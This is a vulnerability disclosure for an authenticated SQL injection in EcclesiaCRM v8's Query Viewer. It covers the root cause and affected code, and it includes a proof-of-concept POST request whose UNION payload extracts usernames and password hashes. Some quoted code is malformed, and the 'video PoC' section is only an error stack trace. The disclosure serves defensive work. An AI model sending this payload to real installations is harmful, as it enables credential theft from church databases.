



VULNERABILITY REPORT: Authenticated SQL Injection in EcclesiaCRM v8.x

Executive Summary

- **Vulnerability:** SQL Injection (SQLi) via Parameterized Query Template Substitution
- Product: EcclesiaCRM (<https://github.com/phili67/ecclesiacrm>)
- Affected Version: v8.0.0 (and possibly earlier)
- CWE: [CWE-89](#) (Improper Neutralization of Special Elements used in an SQL Command)
- CVSS 3.1 Score: 8.8 (High) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Prerequisite: Authenticated user with access to the "Query Viewer" component.
- Impact: Full Database Exfiltration, Administrative Credential Theft, and Unauthorized Data Access.

1. Vulnerability Description

EcclesiaCRM is vulnerable to a critical SQL Injection in its **Query Viewer** component. The application allows users to execute pre-defined queries with custom parameters. However, it fails to properly sanitize these user-provided parameters before inserting them into SQL query templates using string substitution.

This flaw allows an authenticated attacker to inject arbitrary SQL commands, bypassing intended query logic to extract sensitive information from any table in the database.

2. Affected Components

- **Endpoint:** `/v2/query/view/{id}`
- **File:** `src/v2/templates/query/queryview.php`
- **Functions:** `validateInput()` and `ProcessSQL()`
- **Secondary Issue:** Information Disclosure (Full SQL query leakage within HTML comments).

3. Technical Analysis & Root Cause

The vulnerability resides in the workflow used to process parameterized queries. When a user runs a pre-defined query (e.g., Query ID 200 - Custom Search), the application accepts parameters via POST (e.g., `-value-` or `-custom-`).

Root Cause Analysis:

1. **Ineffective Validation:** In `src/v2/templates/query/queryview.php`, the `ValidateInput` function contains a `default` case that accepts raw POST data without filtering or escaping:

```
78: default:
79:     $vPOST[$qrp_Alias] = $POST[$qrp_Alias];
80:     break;
```

2. **Template Substitution:** The `ProcessSQL` function then uses `str_replace` to merge this raw input directly into the SQL query template:

```
103: $qry_SQL = str_replace('~' . $qrp_Alias . '~', $vPOST[$qrp_Alias], $qry_SQL);
```

3. **Execution:** The resulting unescaped SQL string is executed via `mysqli_query()` through the `MiscUtils::RunQuery()` helper.

Information Disclosure:

The application explicitly leaks the full constructed SQL query in HTML comments at line 100 of `queryview.php`:

```
100: <?=" . $qry_SQL ?>
```

4. Proof of Concept (PoC)

An attacker can use the `custom` parameter to perform a `UNION`-based injection to extract usernames and password hashes from the `user_usr` table.

Request:

```
POST /v2/query/view/200 HTTP/1.1
Host: [TARGET_HOST]
Content-Type: application/x-www-form-urlencoded
Cookie: [AUTH_COOKIES]

custom=per_ID AND 1=0 UNION SELECT 1, CONCAT usr_UserName, ':', usr_Password), 3 FROM user_usr -- -&value=search&Subr
```

4.5 Video Poc

Slim Application Error

The application could not run because of the following error:

Details

Type: mysqli_sql_exception

Code: 1064

Message: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'LIKE '%1%' ORDER BY per_LastName' at line

File: /var/www/html/src/EcclesiaCRM/Utils/MiscUtils.php

Line: 1906

Trace

```
#0 /var/www/html/src/EcclesiaCRM/Utils/MiscUtils.php(1906): mysqli_query(Object(mysqli), 'SELECT a.per_ID...')
#1 /var/www/html/src/v2/templates/query/queryview.php(127): EcclesiaCRM\Utils\MiscUtils::RunQuery('SELECT a.per_ID...')
#2 /var/www/html/src/v2/templates/query/queryview.php(491): DoQuery(NULL, NULL, NULL, 'SELECT a.per_ID...', '200', 'CustomSearch', '1', 'sSazQxrML/Vf1z...', '')
#3 /var/www/html/src/vendor/slim/php-view/src/PhpRenderer.php(215): include('/var/www/html/s...')
#4 /var/www/html/src/vendor/slim/php-view/src/PhpRenderer.php(183): Slim\Views\PhpRenderer->protectedIncludeScope('templates/query...', Array)
#5 /var/www/html/src/vendor/slim/php-view/src/PhpRenderer.php(152): Slim\Views\PhpRenderer->fetchTemplate('queryview.php', Array)
#6 /var/www/html/src/vendor/slim/php-view/src/PhpRenderer.php(49): Slim\Views\PhpRenderer->fetch('queryview.php', Array, true)
#7 /var/www/html/src/EcclesiaCRM/VIEWControllers/VIEWQueryController.php(94): Slim\Views\PhpRenderer->render(Object(Slim\Http\Response), 'queryview.php', Array)
#8 /var/www/html/src/vendor/slim/slim/Slim/Handlers/Strategies/RequestResponse.php(39): EcclesiaCRM\VIEWControllers\VIEWQueryController->queryview(Object(Slim\Http\Ser
#9 /var/www/html/src/vendor/slim/slim/Slim/Handlers/Strategies/RequestResponse->__invoke(Array, Object(Slim\Http\Request), Object(S
#10 /var/www/html/src/vendor/slim/slim/Slim/MiddlewareDispatcher.php(73): Slim\Routing\Route->handle(Object(Slim\Http\Request))
#11 /var/www/html/src/vendor/slim/slim/Slim/MiddlewareDispatcher.php(73): Slim\MiddlewareDispatcher->handle(Object(Slim\Http\Request))
#12 /var/www/html/src/vendor/slim/slim/Slim/Routing/Route.php(321): Slim\MiddlewareDispatcher->handle(Object(Slim\Http\Request))
#13 /var/www/html/src/vendor/slim/slim/Slim/Routing/RouteRunner.php(74): Slim\Routing\Route->run(Object(Slim\Http\Request))
#14 /var/www/html/src/vendor/slim/slim/Slim/Middleware/ContentLengthMiddleware.php(23): Slim\Routing\RouteRunner->handle(Object(Slim\Http\Request))
#15 /var/www/html/src/vendor/slim/slim/Slim/MiddlewareDispatcher.php(129): Slim\Middleware\ContentLengthMiddleware->process(Object(Slim\Http\Request), Object(SL
#16 /var/www/html/src/vendor/slim/http-cache/src/Cache.php(79): Psr\Http\Server\RequestHandlerInterface@anonymous->handle(Object(Slim\Http\Request))
#17 /var/www/html/src/vendor/slim/slim/Slim/MiddlewareDispatcher.php(129): Slim\HttpCache\Cache->process(Object(Slim\Http\Request), Object(Psr\Http\Server\Reque
#18 /var/www/html/src/EcclesiaCRM/Slim/Middleware/VersionMiddleware.php(17): Psr\Http\Server\RequestHandlerInterface@anonymous->handle(Object(Slim\Http\Request));
#19 /var/www/html/src/vendor/slim/slim/Slim/MiddlewareDispatcher.php(283): EcclesiaCRM\Slim\Middleware\VersionMiddleware->__invoke(Object(Slim\Http\Request), Ob
#20 /var/www/html/src/vendor/slim/slim/Slim/Middleware/ErrorMiddleware.php(77): Psr\Http\Server\RequestHandlerInterface@anonymous->handle(Object(Slim\Http\ServerReque
#21 /var/www/html/src/vendor/slim/slim/Slim/MiddlewareDispatcher.php(129): Slim\Middleware/ErrorMiddleware->process(Object(Slim\Http\Request), Object(Psr\Http\S
#22 /var/www/html/src/vendor/slim/slim/Slim/MiddlewareDispatcher.php(73): Psr\Http\Server\RequestHandlerInterface@anonymous->handle(Object(Slim\Http\Request))
```

Releases

No releases published

Packages

No packages published

Contributors 1



NicolasPaufferro Nicolas Paufferro